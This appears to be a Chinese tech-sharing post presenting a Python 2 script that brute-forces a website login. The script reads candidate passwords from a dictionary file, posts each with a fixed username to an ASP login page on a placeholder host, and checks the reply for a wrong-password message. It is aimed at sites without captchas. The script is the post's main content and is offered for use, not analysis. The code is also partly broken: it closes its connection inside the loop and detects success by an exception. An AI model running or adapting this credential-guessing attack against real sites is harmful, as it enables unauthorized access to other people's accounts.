使用python進行密碼暴力破解
根據字典文件,使用python進行暴力破解,程序很簡單
注:針對沒有驗證碼的情況
實例代碼:
#encoding=utf-8
import httplib,urllib
conn = httplib.HTTPConnection("www.xxx.cn")
f=open("dict.txt")
while 1:
pwd=f.readline().strip()
if not pwd:
print '字典已比對完。'
break
params = urllib.urlencode({'username': 'xxx', 'mod': '', 'password': pwd})
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
conn.request("GET", "/login/aaa.asp", params, headers)
r = conn.getresponse()
print r.status, r.reason
data1 = r.read().decode('gbk')#編碼根據實際情況酌情處理
print data1.index(u'您輸入的密碼有誤'),'您輸入的密碼\'%s\'有誤'%pwd
conn.close()
本文由用戶 ybw8 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!